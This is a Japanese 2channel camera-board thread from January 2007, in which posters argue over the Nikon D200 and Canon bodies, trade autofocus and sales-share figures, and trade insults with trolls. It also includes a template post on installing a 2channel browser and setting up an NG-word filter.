　　　社会を揺るがす大問題が、いまキャノンに・・・ｗｗｗ

915 ：866：2007/01/18(木) 00:22:29 ID:MVla5YXL0

>>868
そのような視点での意見とかほしかったんです。参考になりました。
職業柄画像の編集等もしますのでRAWでの撮影がおおくなると思ってます。
その他みなさん色々アドバイスありがとうございました。
荒れ気味な中、建設的な意見が聞けてとても有意義でした。
D200一歩リードな感じになりましたｗ

916 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 00:29:48 ID:9YLRXmi30

最後に「ｗ」を付けなきゃ好青年だったのにぶち壊しだな。

917 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 00:37:20 ID:gFXM2bjd0

ｗは、二つ以上連続しなければ問題ないかとｗ

918 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 00:43:42 ID:WOHPUCE50

オレはむしろ、D70のほうがあらゆる意味で高画質だったような気がする。

919 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 00:48:56 ID:KLOt8W6X0

>918
PUCEが何か言ってますが

920 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 00:50:34 ID:gcx39PlN0

>>918
確かにある意味ではD70の方が良いとも思うが、あらゆる意味でとは思わんけどな。

921 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 00:53:59 ID:Pjvfo55L0

電池の持ち・携帯性ではD70が誘致

922 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 00:56:59 ID:GQDWZ8PB0

電池だけで言えばD70は異常といえるほど最強だろうな。
ウチのは突然死したまま放置されちゃってるけど・・・。

923 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 01:03:16 ID:e/8s2GIG0

924 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 02:11:06 ID:ur4HJdLIO

ワラ太郎氏ねやコラ！

925 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 02:36:19 ID:8ZiUNAo90

ID:e/8s2GIG0
お前がキャノネットじゃん。

926 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 06:06:00 ID:MEKiXcRl0

30Dの後継機出るね
もう知ってるよな？

927 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 08:02:50 ID:SjWDPcFUO

ワラ太郎の弱点
実用例等、例えばﾚﾝｽﾞの話で折り入ってると出てこない
ケラレやらﾌﾗｯｼｭやら

ワラ太郎の好物、ｻｶﾞってるNikon機ｽﾚ、ｷｱﾉﾈｯﾂ系嵐の後

ワラ太郎がNikonﾗﾌﾞそれも猟飢的、ｹﾄﾞこいつ持ってんのか？

俺はwww太郎を許す

ｷｱﾉﾈｯﾂへ、貴方の書き込みがCanonの評価を下げてます、気付け、ｶﾞﾝｶﾞﾚ

928 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 09:50:04 ID:lfbDpcu1O

コイズがおとなしくなったと思ったら新キャラ登場かよ…

929 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 10:23:28 ID:ur4HJdLIO

キャノネットとワラ太郎が〈なぜか同時に〉消えてスレが暫く平和になったのに
最近、キャノネットとワラ太郎が〈なぜか同時に〉現れてスレがメチャクチャだね。

930 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 10:29:07 ID:ur4HJdLIO

931 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 10:48:06 ID:p146FLw90

>>926
後継機はピントは合うようになった？
画像消失はしない？
フリーズしない？

932 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 12:42:43 ID:i4S86dBz0

>>９３１　D200みたいなシマシマは出ないらしい。

17 ：名無CCDさん＠画素いっぱい：2007/01/06(土) 22:39:15 ID:GrVgIYey0

【ユーザーをなめるな！～ニコン対策出来ず～いまだに知らぬ存ぜぬのD200の致命的構造欠陥】

http://www.nikon-d-slr.net/cgi-bin/forum/img/18415.jpg
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20051230055724.jpg
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20051229222317.jpg
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20051225225748.jpg
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20051225211725.jpg
http://www.nikon-d-slr.net/cgi-bin/forum/wforum.cgi?mode=fullsize&no=15499
http://www.nikon-d-slr.net/cgi-bin/forum/img/14653.jpg
http://www.slrclub.com/bbs/vx2.php?id=newproduct_nikon&page=1&sn1=&sid1=&divpage=3&sn=off&sid=off&ss=on&sc=off&select_arrange=headnum&desc=asc&no=16070

933 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 13:03:42 ID:i4S86dBz0

【50カット中のAFヒット率（特選街）】

1位　KDX・◯10・△22・×18・◯率20%

1位　30D・◯10・△23・×17・◯率20%

3位　D80・◯9・△25・×16・◯率18%

4位　E-330・◯8・△20・×22・◯率16%

4位　D200・◯8・△25・×17・◯率16%

6位　K100D・◯7・△28・×15・◯率14%

6位　α100・◯7・△24・×19・◯率14%

6位　DMC-L1・◯7・△25・×18・◯率14%

コンティニュアンスAFで測距点は固定。（ブランコの人の動きに合わせて測距点から外さないようにしながら連射で撮っている。）

◯はピクセル等倍で見ても甘くないコマ

△は多少ピントは甘いが小サイズのプリントなら大丈夫そうなコマ

934 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 13:04:41 ID:TW8FY+w50

>>932
シマは５Dですよね。

935 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 13:11:12 ID:n1lMR6DYO

>>933
( ´,_ゝ`)ﾌﾟｯ

( ´,_ゝ`)ﾌﾟｯ

936 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 13:11:56 ID:Mbnueh5q0

>>869
これってD2X？D200かな
たまにNikonってこういうとんでもない絵が出るのはなんでなんだぜ？

937 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 13:31:32 ID:ur4HJdLIO

938 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 13:32:12 ID:8MbSYOqr0

とんでもない絵とは？

939 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 13:58:54 ID:MEKiXcRl0

>>931
ピントはいつもあう
画像消失はしない
フリーズしない
ってかもう知ってるよな？

940 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 14:05:18 ID:Mbnueh5q0

油絵みたいにべたーっってなってるやつ

色飽和とかそんなレベルじゃなくて
ttp://arena.nikkeibp.co.jp/tokushu/gen/20060120/115086/index7.shtml
の中の
ttp://arena.nikkeibp.co.jp/tokushu/gen/20060120/115086/7_02v.jpg
ttp://arena.nikkeibp.co.jp/tokushu/gen/20060120/115086/7_01v.jpg
にも顕著に見られる

>>869のリンク先の他の画像はそうでもないけど
ttp://www.carview.co.jp/tas/2007/gal/kenstyle/default.asp
あの1枚だけは、やはりとんでもない油絵みたいな描写になってしまってる

941 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 14:20:45 ID:vhBBIRU40

しつもん
キャノンのボディーって　材質はなんですか？

942 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 14:22:33 ID:gcx39PlN0

>>940
ISO1600とかでカメラ内でNRを強くかけると、そうなるわね。

943 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 16:16:40 ID:ur4HJdLIO

ワラ太郎＝キャノネッID変え変え自作自演

944 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 17:05:06 ID:EaLFPjj80

ニコンはD200、D80、D40とそこそこ売れてるけど
キヤノンはキッスしか売れてないから大変だな。

945 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 19:11:43 ID:i4S86dBz0

>>944

2006年7月～12月までのデジタル一眼シェア　12回分調査で　　　　　キヤノン10勝　対　ニコン2勝
http://images.bcnranking.jp/article/11835-00.gif

2006年1月～7月までのデジタル一眼シェア　　7ヶ月分調査で　　　　　キヤノン6勝　対　ニコン1勝
http://images.bcnranking.jp/article/9669-08.gif

2005年1月～12月までのデジタル一眼シェア　12ヶ月分調査で　　　　キヤノン10勝　対　ニコン2勝
http://images.bcnranking.jp/article/5995-gr2.gif

ハハハ　　　　　　　　　　　　　　　　　　　　　　　　　　　　　イキデキネーヨ
　　　∧＿∧　　／￣￣￣￣￣￣￣　　　ハライテ- 　　　　　　ゲラゲラ
　　（　´∀｀）＜　わははは　　　　　　　　∧＿∧　　　　　　〃´⌒ヽ　　　　　　　モウカンベン
.　　（つ ⊂ ）　　＼＿＿＿＿＿＿＿　　　（´∀｀ ,,）、　　　　　（　＿　；）　　　　　　　シテクダサイ
　　.）　）　）　　○ 　 ∧＿∧ 　　　　　,, へ,, へ⊂）, 　　　＿（∨　∨　）＿　　　　∧＿∧　○,
　　（_＿）＿）　 ⊂ ´⌒つ´∀｀)つ　　　（＿（＿_）_丿　　　　　　し￣￣し　　　　　⊂（´∀｀⊂ ⌒ヽつ
　　　　　　　　　　タッテラレネーヨ

946 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 19:19:26 ID:i4S86dBz0

BCN AWARD 2007」中間集計第2弾（06年1月-11月）ハードウェア部門
(2006/12/13 15:40)

PCやデジタル家電、ソフトウェアなどについて、全国有力販売店のPOSデータを集計し、
毎年「市場が決めた」NO.1ベンダーを表彰するBCN AWARD。
BCNでは12月13日、06年1月から11月末日までのデータを集計した中間集計を発表した。
ハードウェア部門の各カテゴリでのトップ3は以下の通り。

デジタルカメラ（レンズ一体型）部門

順位ベンダー台数シェア(%)
1 キヤノン 20.7
2 カシオ 16.8
3 ソニー 15.3

デジタルカメラ（レンズ交換型）部門

順位ベンダー台数シェア(%)
1 キヤノン 46.1
2 ニコン 31.1
3 ペンタックス 9.0

http://bcnranking.jp/feature/04-00011727.html

947 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 19:21:29 ID:EaLFPjj80

>>945

http://www.nikkei.co.jp/news/main/20070106AT1D0508005012007.html

948 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 19:46:00 ID:Rf5gDCPt0

しかしたくさん売れたものがいいものとは限らないからなぁ
広告宣伝費からして違いすぎるし・・・

949 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 21:08:20 ID:Q5P2bGtA0

きゃのん、とか、わらたろうｍ、とか、
おまいらが、さわぐんじゃねーよ
アホども、
するっとけって。

950 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 21:49:10 ID:rPS17WJK0

はいはいニコンは負け組、負け組。
でもなんで負け組に対してそんな必死なのかね。

951 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 22:09:53 ID:Rf5gDCPt0

たくさん売れたものを所有しているだけで勝ち組になった気になっている
実生活は負け組の人たち

そこを理解してあげないといけないかもね

952 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 22:32:59 ID:bKYghWje0

　
　初期のキャノンのカメラはニッコールレンズ付きだったｗｗｗ

今もそうだったらいいのにｗｗｗ

953 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 22:46:11 ID:bKYghWje0

>>946

残業代ピンハネ法案を通そうと必死だった会社の製品が人気とはねｗｗｗ

　　みんな目を覚ますべきだと想わないか？？ｗｗｗ

954 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 23:47:52 ID:e/8s2GIG0

378 名前：名無CCDさん＠画素いっぱい投稿日： 2007/01/18(木) 04:34:12 ID:jB/zuRcB0
>>373
ニコンの周辺はAPSサイズですでにボロボロじゃん。

D40vsEOS350D
http://www.dpreview.com/reviews/nikond40/page21.asp
D80vsEOS400D
http://www.dpreview.com/reviews/nikond80/page22.asp
D200vsEOS20D
http://www.dpreview.com/reviews/nikond200/page26.asp

955 ：名無CCDさん＠画素いっぱい：2007/01/18(木) 23:56:51 ID:bKYghWje0

残業代ピンハネ法案を通そうと必死だった会社の製品が人気とはねｗｗｗ

　　みんな目を覚ますべきだと想わないか？？ｗｗｗ

956 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 00:19:55 ID:/XHGTd+T0

　　そんなコトより、残業代ピンハネ法案を推進していたキャノンの問題を語ろう！！ｗｗｗ

　　あと、ブルカラーのワーキングプア問題もねｗｗｗ

　　サラリーマンの敵からカメラ買うのは、漏れはいやだなぁ・・・ｗｗｗ（わ、笑えん、、、

957 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 00:21:20 ID:/XHGTd+T0

958 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 00:22:23 ID:/XHGTd+T0

いや、高ＩＳＯなら5Ｄだ（ただし640まで）ｗｗｗ

　キャノン特有の暗部ノイズもＩＳＯ640まで我慢できるｗｗｗＩＳＯ400で破綻してた20Ｄからは大進歩ｗｗｗ

959 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 00:23:06 ID:/XHGTd+T0

ん？
無論、ニコンにもノイズはあるがｗｗｗ今日は5Ｄを語っただけだｗｗｗ

　　　知らないというのは残酷なことだｗｗｗあるいは幸福か？ｗｗｗｗｗｗｗｗｗ

960 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 00:24:25 ID:Zb6jzFRz0

うるさいなぁ　能書きたれてないで自慢の写真でもＵＰしろよｗ

ひらがなと　ｗだけじゃ説得力無いんだよな

馬鹿は市ね

961 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 00:25:57 ID:Yl9cTLPW0

>>960

いや、そいつは漏れのこぴペ貼って必死化してる哀れな生涯社ｗｗｗ

962 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 00:27:30 ID:/XHGTd+T0

こういった妙な饒舌さｗｗｗｗを特徴とするダニが発生する仕掛けは分かるがｗｗｗｗ

それが妙に継続する仕掛けがちょっと分からないｗｗｗｗ

963 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 00:28:00 ID:/XHGTd+T0

かなり逝ってるよねｗｗｗｗこの個体ｗｗｗｗ

なんせキャノネッツは漏れのＰＣに不正アクセス仕掛けてくるほどの基地外ぶりだからなｗｗｗ

964 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 00:28:32 ID:/XHGTd+T0

2ちゃんでそんなに必死になれる壊れっぷりが凄いｗｗｗｗｗｗ

よくキャノネッツを社員とか言うが、コレ社員だったら企業犯罪だ！！ｗｗｗ

965 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 00:29:23 ID:Yl9cTLPW0

>>962

キミのせいでキャノン系のスレにこんなコピペが・・・ｗｗｗ

　　そんなコトより、残業代ピンハネ法案を推進していたキャノンの問題を語ろう！！ｗｗｗ

　　あと、ブルカラーのワーキングプア問題もねｗｗｗ

　　サラリーマンの敵からカメラ買うのは、漏れはいやだなぁ・・・ｗｗｗ（わ、笑えん、、、

966 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 00:31:27 ID:/XHGTd+T0

いや、キャノウザーは長いコトやってきたが、今となっては2ちゃんでキャノ系板

の住民にならなかったコトが盛れのささやかな誇りですｗｗｗ

967 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 00:35:19 ID:og7603jL0

ID:/XHGTd+T0
見苦しいから消えろ。

968 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 00:35:49 ID:jaYhgC9qO

ワラ太郎を頃す方法無い？

969 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 00:36:12 ID:LrenXDM20

彼も成長できんね･･･
何年コピペだけ続けるんだろうなぁ。

970 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 00:37:21 ID:3cIKKrad0

正気の沙汰じゃないな

971 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 00:39:51 ID:/XHGTd+T0

972 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 00:41:37 ID:Yl9cTLPW0

>>968

わかりやすい口惜しがりようだねｗｗｗくくくｗｗｗ

973 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 00:42:00 ID:jaYhgC9qO

氏ね氏ねワラ太郎

氏ね氏ねワラ太郎

974 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 00:46:45 ID:LrenXDM20

そして結局コピペか･･･
何年越しだ？その成長の無さは。

975 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 00:47:36 ID:/XHGTd+T0

キャノネッツは全員犯罪者の片棒担ぎｗｗｗ

カメラがどうとか云う以前の問題で、こんなのにカメラ語る資格なしｗｗｗｗｗ

976 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 00:50:37 ID:ey6EjRKi0

テンプレ案
>>15 >>17-23
>>234

悪質なログ流し荒らしのせいで全く進んでいないが、他に何かある？

977 ：重要テンプレ：2007/01/19(金) 01:25:57 ID:THeFr7//0

★初心者向け簡単２ちゃんねる専用ブラウザー「かちゅ～しゃ」導入で快適スレッドに★

ステップ1
http://kage.monazilla.org/
ここよりかちゅ～しゃの「インストーラー」をダウンロードし、
任意の場所で実行、インストールします。

ステップ2
kage.exeをクリックして、かちゅ～しゃを起動しますが、
最初の起動では最新バージョンのダウンロードが促されるかもしれません。
ダウンロードページより最新のkage.exeをインストール先に上書きダウンロードします。

ステップ3
かちゅ～しゃを再起動したらまず「ツール」→「ボード一覧の更新」をしておきます。
次に同じく「ツール」→「NGワードの編集」を選びます。
新規の場合ngword.txtの生成を促されるでしょう。

ngword.txtが開いたらそこに
「ｗｗｗ」「◆KN.C37077Y」「ワラ太郎」「キヤノネッツ」
の括弧の中だけをコピペで改行しながら4行に分けて書き、上書き保存して完了です。

あとは快適なデジカメ板閲覧をお楽しみください♪

978 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 01:49:52 ID:/XHGTd+T0

　そもそも、一部の独占的な企業の主導で日本中のホワイトカラーリーマンの残業代が

　ピンハネされるという構図は変だなｗｗｗ

　そんなコト誰が許可するんだ？

　　　　いつからキャノンは他人の財布を干渉する権利を有したのだ？？

979 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 02:01:14 ID:QmGZ8IUP0

かちゅーしゃなんて時代遅れなもん今更勧めるなよｗ

980 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 02:09:54 ID:446d4JCN0

>>979
故意にスレを無駄遣いしてテンプレ作りを妨害しようと企むのでないなら具体的かつ明確に何が良いと書け。

981 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 02:10:43 ID:jaYhgC9qO

同時多発ワラ太郎＝キヤノネッツ→立ち入り禁止

982 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 02:15:03 ID:QmGZ8IUP0

>>980
アンタすげー穿ったモノの見方するヤツだなｗ

俺のオススメは『jane doe style』

ttp://janestyle.s11.xrea.com/

かちゅより、ずっと軽いし使いやすい(人間使い慣れたもんが一番つかいやすいもんだがｗ)

他の利点は、リンク先参照してくれ

983 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 02:22:31 ID:446d4JCN0

>>982
それじゃテンプレにそのまま使えない。紹介する気があるなら>>977のように具体的にまとめて。
横からちょっと口を挟むだけなら簡単なんだよ。

984 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 05:40:05 ID:BaWrgz9P0

ｹｯｷｮｸ
D200はノイズが多杉で
今時の亀裸として恥ずかしいよなおまえら

985 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 08:47:24 ID:NpHr3SX8O

>>984
今日も、粘着か？

毎日ご苦労様
基地外君www

986 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 08:55:31 ID:p8Cl8VtZ0

あんたら2人とも、小学生のケンカか？

987 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 09:00:48 ID:GHgfnt3mO

昨日の天才志村動物園にでていたカメラマンはニコンだったな。

988 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 10:41:55 ID:ZajMLwYs0

デジカメ板のSN比が極端に悪いことの方がよっぽど恥ずかしい

989 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 11:31:18 ID:NVX8JkBb0

>>983
やれやれだ
あんたのレスはそれこそ
『故意にスレを無駄遣いしてテンプレ作りを妨害』してる。

それに俺は、かちゅーしゃっつう重くて遅くて時代遅れで使いにくいもん勧めるなと言ってるだけで
このスレの為にテンプレ書こうなんて毛頭思ってないんだわｗ

990 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 12:04:50 ID:X2L2+wsp0

もう新スレなんて恥の上塗りだからいらんだろ
あ、二個爺は学習能力無いんだっけな

991 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 12:20:09 ID:X2L2+wsp0

>>985
で、ノイズだらけだよな？D200

992 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 12:37:31 ID:JP1Bhk6V0

>>991
そうでもないよ、結構使えるし、稼げる。

993 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 13:03:46 ID:X2L2+wsp0

で、ノイズ少ないのか?D200

994 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 13:05:51 ID:Y2/hJbEYO

ノイズ=>>991だな

995 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 13:09:00 ID:X2L2+wsp0

で、ノイズすくないのか？D200

996 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 13:40:27 ID:wV8xeVVr0

>>995
>>994

997 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 14:09:23 ID:03+PChhrO

高感度ならＤ４０が上

998 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 14:11:51 ID:WQvyjqcH0

ノイ爺

999 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 14:12:40 ID:WQvyjqcH0

駄200

1000 ：名無CCDさん＠画素いっぱい：2007/01/19(金) 14:13:15 ID:WQvyjqcH0

駄機

1001 ：１００１：Over 1000 Thread

このスレッドは１０００を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。